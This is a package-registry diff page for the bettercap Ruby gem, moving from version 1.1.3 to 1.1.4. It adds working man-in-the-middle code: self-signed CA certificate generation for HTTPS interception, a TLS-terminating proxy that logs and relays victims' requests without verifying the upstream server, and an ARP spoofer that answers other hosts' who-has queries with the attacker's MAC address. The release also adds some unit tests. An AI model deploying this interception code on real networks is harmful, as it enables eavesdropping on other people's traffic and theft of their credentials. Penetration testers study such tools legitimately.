bettercap 1.1.3 → 1.1.4
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/CONTRIBUTING.md +42 -0
- data/Gemfile +2 -0
- data/Gemfile.lock +25 -0
- data/README.md +1 -1
- data/Rakefile +7 -0
- data/TODO.md +2 -2
- data/bettercap.gemspec +2 -0
- data/bin/bettercap +48 -43
- data/lib/bettercap/context.rb +125 -20
- data/lib/bettercap/factories/firewall_factory.rb +4 -0
- data/lib/bettercap/factories/parser_factory.rb +2 -0
- data/lib/bettercap/firewalls/linux.rb +16 -10
- data/lib/bettercap/firewalls/osx.rb +19 -8
- data/lib/bettercap/logger.rb +2 -0
- data/lib/bettercap/network.rb +10 -4
- data/lib/bettercap/proxy/certstore.rb +68 -0
- data/lib/bettercap/proxy/proxy.rb +87 -43
- data/lib/bettercap/proxy/request.rb +22 -4
- data/lib/bettercap/proxy/response.rb +15 -0
- data/lib/bettercap/sniffer/sniffer.rb +22 -24
- data/lib/bettercap/spoofers/arp.rb +38 -6
- data/lib/bettercap/target.rb +1 -1
- data/lib/bettercap/version.rb +1 -1
- data/lib/bettercap.rb +1 -0
- data/test/factories/firewall_factory_test.rb +54 -0
- data/test/factories/parser_factory_test.rb +36 -0
- data/test/factories/spoofer_factory_test.rb +15 -0
- data/test/firewalls/linux_firewall_test.rb +72 -0
- data/test/firewalls/osx_firewall_test.rb +72 -0
- data/test/helpers/mock_shell.rb +17 -0
- data/test/logger_test.rb +12 -0
- data/test/network_test.rb +14 -0
- data/test/pcap/ftp.pcap +0 -0
- data/test/pcap/http.pcap +0 -0
- data/test/pcap/packets.pcap +0 -0
- data/test/proxy/response_test.rb +56 -0
- data/test/shell_test.rb +15 -0
- data/test/sniffer/parsers/base_parser_test.rb +20 -0
- data/test/sniffer/parsers/ftp_parser_test.rb +27 -0
- data/test/sniffer/parsers/url_parser_test.rb +25 -0
- data/test/target_test.rb +24 -0
- data/test/test_helper.rb +47 -0
- data/test_https_proxy.rb +29 -0
- metadata +40 -2
@@ -0,0 +1,68 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
require 'bettercap/logger'
|
13
|
+
require 'openssl'
|
14
|
+
|
15
|
+
module Proxy
|
16
|
+
class CertStore
|
17
|
+
@@selfsigned = {}
|
18
|
+
@@frompems = {}
|
19
|
+
|
20
|
+
def self.from_file( filename )
|
21
|
+
if !@@frompems.has_key? filename
|
22
|
+
Logger.info "Loading self signed HTTPS certificate from '#{filename}' ..."
|
23
|
+
|
24
|
+
pem = File.read filename
|
25
|
+
|
26
|
+
@@frompems[filename] = { :cert => OpenSSL::X509::Certificate.new(pem), :key => OpenSSL::PKey::RSA.new(pem) }
|
27
|
+
end
|
28
|
+
|
29
|
+
@@frompems[filename]
|
30
|
+
end
|
31
|
+
|
32
|
+
# TODO: Put a better default subject here!
|
33
|
+
def self.get_selfsigned( subject = '/C=BE/O=Test/OU=Test/CN=Test' )
|
34
|
+
if !@@selfsigned.has_key? subject
|
35
|
+
Logger.info "Generating self signed HTTPS certificate for subject '#{subject}' ..."
|
36
|
+
|
37
|
+
key = OpenSSL::PKey::RSA.new(2048)
|
38
|
+
public_key = key.public_key
|
39
|
+
|
40
|
+
cert = OpenSSL::X509::Certificate.new
|
41
|
+
cert.subject = cert.issuer = OpenSSL::X509::Name.parse(subject)
|
42
|
+
cert.not_before = Time.now
|
43
|
+
cert.not_after = Time.now + 365 * 24 * 60 * 60
|
44
|
+
cert.public_key = public_key
|
45
|
+
cert.serial = 0x0
|
46
|
+
cert.version = 2
|
47
|
+
|
48
|
+
ef = OpenSSL::X509::ExtensionFactory.new
|
49
|
+
ef.subject_certificate = cert
|
50
|
+
ef.issuer_certificate = cert
|
51
|
+
cert.extensions = [
|
52
|
+
ef.create_extension("basicConstraints","CA:TRUE", true),
|
53
|
+
ef.create_extension("subjectKeyIdentifier", "hash"),
|
54
|
+
ef.create_extension("keyUsage", "cRLSign,keyCertSign", true),
|
55
|
+
]
|
56
|
+
cert.add_extension ef.create_extension("authorityKeyIdentifier",
|
57
|
+
"keyid:always,issuer:always")
|
58
|
+
|
59
|
+
cert.sign key, OpenSSL::Digest::SHA256.new
|
60
|
+
|
61
|
+
@@selfsigned[subject] = { :cert => cert, :key => key }
|
62
|
+
end
|
63
|
+
|
64
|
+
@@selfsigned[subject]
|
65
|
+
end
|
66
|
+
end
|
67
|
+
|
68
|
+
end
|
@@ -19,10 +19,14 @@ require 'bettercap/network'
|
|
19
19
|
module Proxy
|
20
20
|
|
21
21
|
class Proxy
|
22
|
-
def initialize address, port,
|
22
|
+
def initialize( address, port, is_https, processor )
|
23
23
|
@socket = nil
|
24
24
|
@address = address
|
25
25
|
@port = port
|
26
|
+
@is_https = is_https
|
27
|
+
@type = is_https ? 'HTTPS' : 'HTTP'
|
28
|
+
@sslserver = nil
|
29
|
+
@sslcontext = nil
|
26
30
|
@main_thread = nil
|
27
31
|
@running = false
|
28
32
|
@processor = processor
|
@@ -31,7 +35,7 @@ class Proxy
|
|
31
35
|
begin
|
32
36
|
@local_ips = Socket.ip_address_list.collect { |x| x.ip_address }
|
33
37
|
rescue
|
34
|
-
|
38
|
+
Logger.warn 'Could not get local ips using Socket module, using Network.get_local_ips method.'
|
35
39
|
|
36
40
|
@local_ips = Network.get_local_ips
|
37
41
|
end
|
@@ -40,16 +44,27 @@ class Proxy
|
|
40
44
|
def start
|
41
45
|
begin
|
42
46
|
@socket = TCPServer.new( @address, @port )
|
47
|
+
|
48
|
+
if @is_https
|
49
|
+
cert = Context.get.certificate
|
50
|
+
|
51
|
+
@sslcontext = OpenSSL::SSL::SSLContext.new
|
52
|
+
@sslcontext.cert = cert[:cert]
|
53
|
+
@sslcontext.key = cert[:key]
|
54
|
+
|
55
|
+
@sslserver = OpenSSL::SSL::SSLServer.new( @socket, @sslcontext )
|
56
|
+
end
|
57
|
+
|
43
58
|
@main_thread = Thread.new &method(:server_thread)
|
44
59
|
rescue Exception => e
|
45
|
-
Logger.error "Error starting proxy: #{e.inspect}"
|
60
|
+
Logger.error "Error starting #{@type} proxy: #{e.inspect}"
|
46
61
|
@socket.close unless @socket.nil?
|
47
62
|
end
|
48
63
|
end
|
49
64
|
|
50
65
|
def stop
|
51
66
|
begin
|
52
|
-
Logger.info
|
67
|
+
Logger.info "Stopping #{@type} proxy ..."
|
53
68
|
|
54
69
|
if @socket and @running
|
55
70
|
@running = false
|
@@ -61,25 +76,37 @@ class Proxy
|
|
61
76
|
|
62
77
|
private
|
63
78
|
|
79
|
+
def async_accept
|
80
|
+
if @is_https
|
81
|
+
begin
|
82
|
+
Thread.new @sslserver.accept, &method(:client_thread)
|
83
|
+
rescue Exception => e
|
84
|
+
Logger.warn "Error while accepting #{@type} connection: #{e.inspect}"
|
85
|
+
end
|
86
|
+
else
|
87
|
+
Thread.new @socket.accept, &method(:client_thread)
|
88
|
+
end
|
89
|
+
end
|
90
|
+
|
64
91
|
def server_thread
|
65
|
-
Logger.info "Proxy started on #{@address}:#{@port} ...\n"
|
92
|
+
Logger.info "#{@type} Proxy started on #{@address}:#{@port} ...\n"
|
66
93
|
|
67
94
|
@running = true
|
68
95
|
|
69
96
|
begin
|
70
97
|
while @running do
|
71
|
-
|
98
|
+
async_accept
|
72
99
|
end
|
73
100
|
rescue Exception => e
|
74
101
|
if @running
|
75
|
-
Logger.
|
102
|
+
Logger.error "Error while accepting #{@type} connection: #{e.inspect}"
|
76
103
|
end
|
77
104
|
ensure
|
78
105
|
@socket.close unless @socket.nil?
|
79
106
|
end
|
80
107
|
end
|
81
108
|
|
82
|
-
def binary_streaming from, to, opts = {}
|
109
|
+
def binary_streaming( from, to, opts = {} )
|
83
110
|
|
84
111
|
total_size = 0
|
85
112
|
|
@@ -125,8 +152,8 @@ class Proxy
|
|
125
152
|
end
|
126
153
|
end
|
127
154
|
|
128
|
-
def html_streaming request, response, from, to
|
129
|
-
buff =
|
155
|
+
def html_streaming( request, response, from, to )
|
156
|
+
buff = ''
|
130
157
|
loop do
|
131
158
|
from.read 1024, buff
|
132
159
|
|
@@ -141,12 +168,12 @@ class Proxy
|
|
141
168
|
to.write response.to_s
|
142
169
|
end
|
143
170
|
|
144
|
-
def log_stream client, request, response
|
171
|
+
def log_stream( client, request, response )
|
145
172
|
client_s = "[#{client}]"
|
146
173
|
verb_s = request.verb
|
147
|
-
request_s = "http://#{request.host}#{request.url}"
|
174
|
+
request_s = "#{@is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
|
148
175
|
response_s = "( #{response.content_type} )"
|
149
|
-
request_s = request_s.slice(0..50) +
|
176
|
+
request_s = request_s.slice(0..50) + '...' unless request_s.length <= 50
|
150
177
|
|
151
178
|
verb_s = verb_s.light_blue
|
152
179
|
|
@@ -165,36 +192,56 @@ class Proxy
|
|
165
192
|
Logger.write "#{client_s} #{verb_s} #{request_s} #{response_s}"
|
166
193
|
end
|
167
194
|
|
168
|
-
def is_self_request?
|
195
|
+
def is_self_request?(request)
|
169
196
|
@local_ips.include? IPSocket.getaddress(request.host)
|
170
197
|
end
|
171
198
|
|
172
|
-
def rickroll_lamer
|
199
|
+
def rickroll_lamer(client)
|
173
200
|
client.write "HTTP/1.1 302 Found\n"
|
174
201
|
client.write "Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ\n\n"
|
175
202
|
end
|
176
203
|
|
177
|
-
def
|
178
|
-
|
179
|
-
|
204
|
+
def create_upstream_connection( request )
|
205
|
+
if @is_https
|
206
|
+
sock = TCPSocket.new( request.host, request.port )
|
180
207
|
|
181
|
-
|
182
|
-
request = Request.new
|
208
|
+
ctx = OpenSSL::SSL::SSLContext.new
|
183
209
|
|
184
|
-
|
185
|
-
# read the first line
|
186
|
-
request << client.readline
|
187
|
-
|
188
|
-
loop do
|
189
|
-
line = client.readline
|
190
|
-
request << line
|
210
|
+
# do we need this? :P ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_PEER)
|
191
211
|
|
192
|
-
|
193
|
-
|
194
|
-
|
212
|
+
socket = OpenSSL::SSL::SSLSocket.new(sock, ctx).tap do |socket|
|
213
|
+
socket.sync_close = true
|
214
|
+
socket.connect
|
195
215
|
end
|
196
216
|
|
197
|
-
|
217
|
+
socket
|
218
|
+
else
|
219
|
+
TCPSocket.new( request.host, request.port )
|
220
|
+
end
|
221
|
+
end
|
222
|
+
|
223
|
+
def get_client_details( client )
|
224
|
+
if !@is_https
|
225
|
+
client_port, client_ip = Socket.unpack_sockaddr_in(client.getpeername)
|
226
|
+
else
|
227
|
+
_, client_port, _, client_ip = client.peeraddr
|
228
|
+
end
|
229
|
+
|
230
|
+
[ client_ip, client_port ]
|
231
|
+
end
|
232
|
+
|
233
|
+
def client_thread( client )
|
234
|
+
client_ip, client_port = get_client_details client
|
235
|
+
|
236
|
+
Logger.debug "New #{@type} connection from #{client_ip}:#{client_port}"
|
237
|
+
|
238
|
+
server = nil
|
239
|
+
request = Request.new @is_https ? 443 : 80
|
240
|
+
|
241
|
+
begin
|
242
|
+
Logger.debug 'Reading request ...'
|
243
|
+
|
244
|
+
request.read client
|
198
245
|
|
199
246
|
# someone is having fun with us =)
|
200
247
|
if is_self_request? request
|
@@ -203,9 +250,15 @@ class Proxy
|
|
203
250
|
|
204
251
|
rickroll_lamer client
|
205
252
|
|
253
|
+
elsif request.verb == 'CONNECT'
|
254
|
+
|
255
|
+
Logger.error "You're using bettercap as a normal HTTP(S) proxy, it wasn't designed to handle CONNECT requests:\n\n#{request.to_s}"
|
256
|
+
|
206
257
|
else
|
207
258
|
|
208
|
-
|
259
|
+
Logger.debug 'Creating upstream connection ...'
|
260
|
+
|
261
|
+
server = create_upstream_connection request
|
209
262
|
|
210
263
|
server.write request.to_s
|
211
264
|
|
@@ -218,16 +271,7 @@ class Proxy
|
|
218
271
|
|
219
272
|
Logger.debug 'Reading response ...'
|
220
273
|
|
221
|
-
response = Response.
|
222
|
-
|
223
|
-
# read all response headers
|
224
|
-
loop do
|
225
|
-
line = server.readline
|
226
|
-
|
227
|
-
response << line
|
228
|
-
|
229
|
-
break unless not response.headers_done
|
230
|
-
end
|
274
|
+
response = Response.from_socket server
|
231
275
|
|
232
276
|
if response.textual?
|
233
277
|
log_stream client_ip, request, response
|
@@ -243,7 +287,7 @@ class Proxy
|
|
243
287
|
binary_streaming server, client, response: response
|
244
288
|
end
|
245
289
|
|
246
|
-
Logger.debug "#{
|
290
|
+
Logger.debug "#{@type} client served."
|
247
291
|
end
|
248
292
|
|
249
293
|
rescue Exception => e
|
@@ -15,18 +15,36 @@ module Proxy
|
|
15
15
|
class Request
|
16
16
|
attr_reader :lines, :verb, :url, :host, :port, :content_length
|
17
17
|
|
18
|
-
def initialize
|
18
|
+
def initialize( default_port = 80 )
|
19
19
|
@lines = []
|
20
20
|
@verb = nil
|
21
21
|
@url = nil
|
22
22
|
@host = nil
|
23
|
-
@port =
|
23
|
+
@port = default_port
|
24
24
|
@content_length = 0
|
25
25
|
end
|
26
26
|
|
27
|
+
def read(sock)
|
28
|
+
# read the first line
|
29
|
+
self << sock.readline
|
30
|
+
|
31
|
+
loop do
|
32
|
+
line = sock.readline
|
33
|
+
self << line
|
34
|
+
|
35
|
+
if line.chomp == ''
|
36
|
+
break
|
37
|
+
end
|
38
|
+
end
|
39
|
+
|
40
|
+
raise "Couldn't extract host from the request." unless @host
|
41
|
+
end
|
42
|
+
|
27
43
|
def <<(line)
|
28
44
|
line = line.chomp
|
29
45
|
|
46
|
+
Logger.debug " REQUEST LINE: '#{line}'"
|
47
|
+
|
30
48
|
# is this the first line '<VERB> <URI> HTTP/<VERSION>' ?
|
31
49
|
if @url.nil? and line =~ /^(\w+)\s+(\S+)\s+HTTP\/[\d\.]+\s*$/
|
32
50
|
@verb = $1
|
@@ -35,13 +53,13 @@ class Request
|
|
35
53
|
# fix url
|
36
54
|
if @url.include? '://'
|
37
55
|
uri = URI::parse @url
|
38
|
-
@url = "#{uri.path}" + ( uri.query ? "?#{uri.query}" :
|
56
|
+
@url = "#{uri.path}" + ( uri.query ? "?#{uri.query}" : '' )
|
39
57
|
end
|
40
58
|
|
41
59
|
line = "#{@verb} #{url} HTTP/1.0"
|
42
60
|
|
43
61
|
# get the host header value
|
44
|
-
elsif line =~ /^Host
|
62
|
+
elsif line =~ /^Host:\s*(.*)$/
|
45
63
|
@host = $1
|
46
64
|
if host =~ /([^:]*):([0-9]*)$/
|
47
65
|
@host = $1
|
@@ -25,6 +25,21 @@ class Response
|
|
25
25
|
@headers_done = false
|
26
26
|
end
|
27
27
|
|
28
|
+
def self.from_socket(sock)
|
29
|
+
response = Response.new
|
30
|
+
|
31
|
+
# read all response headers
|
32
|
+
loop do
|
33
|
+
line = sock.readline
|
34
|
+
|
35
|
+
response << line
|
36
|
+
|
37
|
+
break unless not response.headers_done
|
38
|
+
end
|
39
|
+
|
40
|
+
response
|
41
|
+
end
|
42
|
+
|
28
43
|
def <<(line)
|
29
44
|
# we already parsed the heders, collect response body
|
30
45
|
if @headers_done
|
@@ -28,40 +28,38 @@ class Sniffer
|
|
28
28
|
setup( ctx )
|
29
29
|
|
30
30
|
@@cap.stream.each do |p|
|
31
|
-
|
32
|
-
|
31
|
+
begin
|
32
|
+
parsed = Packet.parse p
|
33
|
+
rescue Exception => e
|
34
|
+
parsed = nil
|
35
|
+
Logger.debug e.message
|
36
|
+
end
|
37
|
+
|
38
|
+
if not parsed.nil? and parsed.is_ip? and !skip_packet?(parsed)
|
39
|
+
append_packet p
|
40
|
+
parse_packet parsed
|
41
|
+
end
|
33
42
|
end
|
34
43
|
end
|
35
44
|
|
36
45
|
private
|
37
46
|
|
38
|
-
def self.
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
Logger.debug e.message
|
44
|
-
end
|
47
|
+
def self.skip_packet?( pkt )
|
48
|
+
!@@ctx.options[:local] and
|
49
|
+
( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or
|
50
|
+
pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
|
51
|
+
end
|
45
52
|
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
Logger.warn e.message
|
53
|
-
end
|
54
|
-
end
|
53
|
+
def self.parse_packet( parsed )
|
54
|
+
@@parsers.each do |parser|
|
55
|
+
begin
|
56
|
+
parser.on_packet parsed
|
57
|
+
rescue Exception => e
|
58
|
+
Logger.warn e.message
|
55
59
|
end
|
56
60
|
end
|
57
61
|
end
|
58
62
|
|
59
|
-
def self.skip_packet?( pkt )
|
60
|
-
!@@ctx.options[:local] and
|
61
|
-
( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or
|
62
|
-
pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
|
63
|
-
end
|
64
|
-
|
65
63
|
def self.append_packet( p )
|
66
64
|
begin
|
67
65
|
@@pcap.array_to_file(
|
@@ -22,6 +22,8 @@ class ArpSpoofer < ISpoofer
|
|
22
22
|
@gw_hw = nil
|
23
23
|
@forwarding = @ctx.firewall.forwarding_enabled?
|
24
24
|
@spoof_thread = nil
|
25
|
+
@sniff_thread = nil
|
26
|
+
@capture = nil
|
25
27
|
@running = false
|
26
28
|
|
27
29
|
Logger.debug 'ARP SPOOFER SELECTED'
|
@@ -35,7 +37,7 @@ class ArpSpoofer < ISpoofer
|
|
35
37
|
Logger.info " Gateway : #{@ctx.gateway} ( #{@gw_hw} )"
|
36
38
|
end
|
37
39
|
|
38
|
-
def
|
40
|
+
def send_spoofed_packet( saddr, smac, daddr, dmac )
|
39
41
|
pkt = PacketFu::ARPPacket.new
|
40
42
|
pkt.eth_saddr = smac
|
41
43
|
pkt.eth_daddr = dmac
|
@@ -51,7 +53,7 @@ class ArpSpoofer < ISpoofer
|
|
51
53
|
def start
|
52
54
|
stop() unless @running == false
|
53
55
|
|
54
|
-
Logger.info
|
56
|
+
Logger.info "Starting ARP spoofer ( #{@ctx.options[:half_duplex] ? 'Half' : 'Full'} Duplex ) ..."
|
55
57
|
|
56
58
|
if @forwarding == false
|
57
59
|
Logger.debug 'Enabling packet forwarding.'
|
@@ -60,6 +62,36 @@ class ArpSpoofer < ISpoofer
|
|
60
62
|
end
|
61
63
|
|
62
64
|
@running = true
|
65
|
+
@sniff_thread = Thread.new do
|
66
|
+
Logger.info 'ARP watcher started ...'
|
67
|
+
begin
|
68
|
+
@capture = PacketFu::Capture.new(
|
69
|
+
iface: @ctx.options[:iface],
|
70
|
+
filter: 'arp',
|
71
|
+
start: true
|
72
|
+
)
|
73
|
+
rescue Exception => e
|
74
|
+
Logger.error e.message
|
75
|
+
end
|
76
|
+
@capture.stream.each do |p|
|
77
|
+
begin
|
78
|
+
pkt = PacketFu::Packet.parse p
|
79
|
+
# we're only interested in 'who-has' packets
|
80
|
+
if pkt.arp_opcode == 1 and pkt.arp_dst_mac.to_s == '00:00:00:00:00:00'
|
81
|
+
is_from_us = ( pkt.arp_src_ip.to_s == @ctx.ifconfig[:ip_saddr] )
|
82
|
+
|
83
|
+
if !is_from_us
|
84
|
+
Logger.info "[ARP] #{pkt.arp_src_ip.to_s} is asking who #{pkt.arp_dst_ip.to_s} is."
|
85
|
+
|
86
|
+
send_spoofed_packet pkt.arp_dst_ip.to_s, @ctx.ifconfig[:eth_saddr], pkt.arp_src_ip.to_s, pkt.arp_src_mac.to_s
|
87
|
+
end
|
88
|
+
end
|
89
|
+
rescue Exception => e
|
90
|
+
Logger.error e.message
|
91
|
+
end
|
92
|
+
end
|
93
|
+
end
|
94
|
+
|
63
95
|
@spoof_thread = Thread.new do
|
64
96
|
prev_size = @ctx.targets.size
|
65
97
|
loop do
|
@@ -95,8 +127,8 @@ class ArpSpoofer < ISpoofer
|
|
95
127
|
end
|
96
128
|
end
|
97
129
|
|
98
|
-
|
99
|
-
|
130
|
+
send_spoofed_packet( @ctx.gateway, @ctx.ifconfig[:eth_saddr], target.ip, target.mac )
|
131
|
+
send_spoofed_packet( target.ip, @ctx.ifconfig[:eth_saddr], @ctx.gateway, @gw_hw ) unless @ctx.options[:half_duplex]
|
100
132
|
end
|
101
133
|
|
102
134
|
prev_size = @ctx.targets.size
|
@@ -121,8 +153,8 @@ class ArpSpoofer < ISpoofer
|
|
121
153
|
|
122
154
|
@ctx.targets.each do |target|
|
123
155
|
if !target.mac.nil?
|
124
|
-
|
125
|
-
|
156
|
+
send_spoofed_packet( @ctx.gateway, @gw_hw, target.ip, target.mac )
|
157
|
+
send_spoofed_packet( target.ip, target.mac, @ctx.gateway, @gw_hw ) unless @ctx.options[:half_duplex]
|
126
158
|
end
|
127
159
|
end
|
128
160
|
sleep 1
|
data/lib/bettercap/target.rb
CHANGED
data/lib/bettercap/version.rb
CHANGED
data/lib/bettercap.rb
CHANGED
@@ -0,0 +1,54 @@
|
|
1
|
+
require 'minitest/autorun'
|
2
|
+
require 'factories/firewall_factory'
|
3
|
+
|
4
|
+
class FirewallFactoryTest < MiniTest::Test
|
5
|
+
# TODO: Fix the tests for the Mac and Linux firewall initialization. Right now
|
6
|
+
# they are being created in a way which executes a shell command, causing
|
7
|
+
# tests to fail.
|
8
|
+
|
9
|
+
# def test_mac_firewall
|
10
|
+
# FirewallFactory.clear_firewall
|
11
|
+
#
|
12
|
+
# override_ruby_platform('darwin') do
|
13
|
+
# firewall = FirewallFactory.get_firewall
|
14
|
+
# assert_equal firewall.class, OSXFirewall
|
15
|
+
# end
|
16
|
+
# end
|
17
|
+
|
18
|
+
# def test_linux_firewall
|
19
|
+
# FirewallFactory.clear_firewall
|
20
|
+
#
|
21
|
+
# override_ruby_platform('linux') do
|
22
|
+
# firewall = FirewallFactory.get_firewall
|
23
|
+
# assert_equal firewall.class, LinuxFirewall
|
24
|
+
# end
|
25
|
+
# end
|
26
|
+
|
27
|
+
def test_unknown_firewall
|
28
|
+
FirewallFactory.clear_firewall
|
29
|
+
|
30
|
+
override_ruby_platform('ms') do
|
31
|
+
assert_raises BetterCap::Error do
|
32
|
+
FirewallFactory.get_firewall
|
33
|
+
end
|
34
|
+
end
|
35
|
+
end
|
36
|
+
|
37
|
+
private
|
38
|
+
|
39
|
+
def override_ruby_platform(platform)
|
40
|
+
actual_platform = RUBY_PLATFORM
|
41
|
+
|
42
|
+
begin
|
43
|
+
redefine_const :RUBY_PLATFORM, platform
|
44
|
+
yield
|
45
|
+
ensure
|
46
|
+
redefine_const :RUBY_PLATFORM, actual_platform
|
47
|
+
end
|
48
|
+
end
|
49
|
+
|
50
|
+
def redefine_const(const, value)
|
51
|
+
Object.send(:remove_const, const) if Object.const_defined?(const)
|
52
|
+
Object.const_set(const, value)
|
53
|
+
end
|
54
|
+
end
|
@@ -0,0 +1,36 @@
|
|
1
|
+
require 'minitest/autorun'
|
2
|
+
require 'factories/parser_factory'
|
3
|
+
|
4
|
+
class ParserFactoryTest < MiniTest::Test
|
5
|
+
def test_getting_available_parsers
|
6
|
+
available_parsers = ParserFactory.available
|
7
|
+
assert available_parsers.include?('FTP')
|
8
|
+
end
|
9
|
+
|
10
|
+
def test_successful_cmdline_parser_name
|
11
|
+
parsers = ParserFactory.from_cmdline('ftp,https')
|
12
|
+
assert_equal parsers, ['FTP', 'HTTPS']
|
13
|
+
end
|
14
|
+
|
15
|
+
def test_failed_cmdline_parser_name
|
16
|
+
assert_raises BetterCap::Error do
|
17
|
+
ParserFactory.from_cmdline 'unknown'
|
18
|
+
end
|
19
|
+
end
|
20
|
+
|
21
|
+
def test_no_cmdline_parser_provided
|
22
|
+
assert_raises BetterCap::Error do
|
23
|
+
ParserFactory.from_cmdline nil
|
24
|
+
end
|
25
|
+
end
|
26
|
+
|
27
|
+
def test_successfully_loading_parsers
|
28
|
+
loaded = ParserFactory.load_by_names 'FTP'
|
29
|
+
assert_equal loaded.first.class, FtpParser
|
30
|
+
end
|
31
|
+
|
32
|
+
def test_unsuccessfully_loading_parsers
|
33
|
+
loaded = ParserFactory.load_by_names 'unknown'
|
34
|
+
assert_empty loaded
|
35
|
+
end
|
36
|
+
end
|
@@ -0,0 +1,15 @@
|
|
1
|
+
require 'minitest/autorun'
|
2
|
+
require 'factories/spoofer_factory'
|
3
|
+
|
4
|
+
class SpooferFactoryTest < MiniTest::Test
|
5
|
+
def test_getting_available_parsers
|
6
|
+
spoofers = SpooferFactory.available
|
7
|
+
assert spoofers.include?('ARP')
|
8
|
+
end
|
9
|
+
|
10
|
+
def test_unsuccessful_name
|
11
|
+
assert_raises BetterCap::Error do
|
12
|
+
SpooferFactory.get_by_name 'unknown'
|
13
|
+
end
|
14
|
+
end
|
15
|
+
end
|